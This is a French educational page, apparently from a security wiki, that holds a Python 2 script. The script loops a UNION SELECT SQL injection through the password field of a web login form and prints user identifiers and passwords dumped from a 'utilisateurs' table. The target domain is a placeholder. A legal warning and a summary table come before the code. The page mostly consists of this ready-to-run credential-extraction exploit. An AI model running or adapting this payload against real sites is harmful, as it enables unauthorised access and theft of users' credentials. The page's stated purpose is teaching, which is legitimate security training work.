Injection.py
🔒 Contenu de sécurité — usage encadré
Cette page décrit des techniques de sécurité offensive à des fins exclusivement pédagogiques et professionnelles (formation, préparation de certification, montée en compétence défensive).
Ces techniques ne doivent être mises en œuvre que dans un laboratoire isolé ou sur un système pour lequel vous disposez d'une autorisation écrite explicite du propriétaire. Les employer contre un système tiers sans autorisation est une infraction pénale (art. 323-1 et suivants du Code pénal). Voir les avertissements généraux.
| Fiche express | |
|---|---|
| Domaine | Sécurité — injection SQL |
| Technique | UNION SELECT
|
| Cible | Formulaire web (exemple) |
Script Python d'injection SQL récupérant, via UNION SELECT, les identifiants et mots de passe d'utilisateurs à partir d'un formulaire web vulnérable. Fourni à titre pédagogique ; le domaine cible est fictif.
#!/usr/bin/python
#-*- coding:utf-8 -*-
# script d'injection SQL pour récupération identifiant mot de passe des utilisateurs
import httplib, urllib
# définition des variables serveur
site = "stress_test.com"
port = 80
formulaire = "/identification.php"
# définition des champs de formulaire
identif="test"
mdp=""
ref="identification"
valider="Valider"
for champ in range(1,10):
#création du champ mdp avec incrémentation du décalage
mdp="' UNION SELECT identifiant, motdepasse FROM utilisateurs LIMIT "+str(champ)+",1 #"
#création des paramètres à poster
parametres = urllib.urlencode({'identif':identif,'mdp':mdp,'ref':ref,'valider':valider,'valider':'Rechercher'})
#création de l'entête
headers = {"Content-type":"application/x-www-form-urlencoded","Accept":"text/plain"}
#connexion au site
conn = httplib.HTTPConnection(site+":"+str(port))
#envoi de la requête POST
conn.request("POST",formulaire,parametres,headers)
#lecture de la réponse
reponse = conn.getresponse()
#vérification si la réponse est 200, donc page ok et traitement des données de retour
code_retour = reponse.status
if (code_retour == 200):
#lecture des données de la page de retour
data=reponse.read()
#détection de la position des mots Votre et </form> qui encadre les éléments qui nous intéressent
position1 = data.find('Votre')
position2 = data.find('</form>')
#extraction des données intéressantes
donnee=data[position1:position2-1]
#affichage
print donnee
conn.close()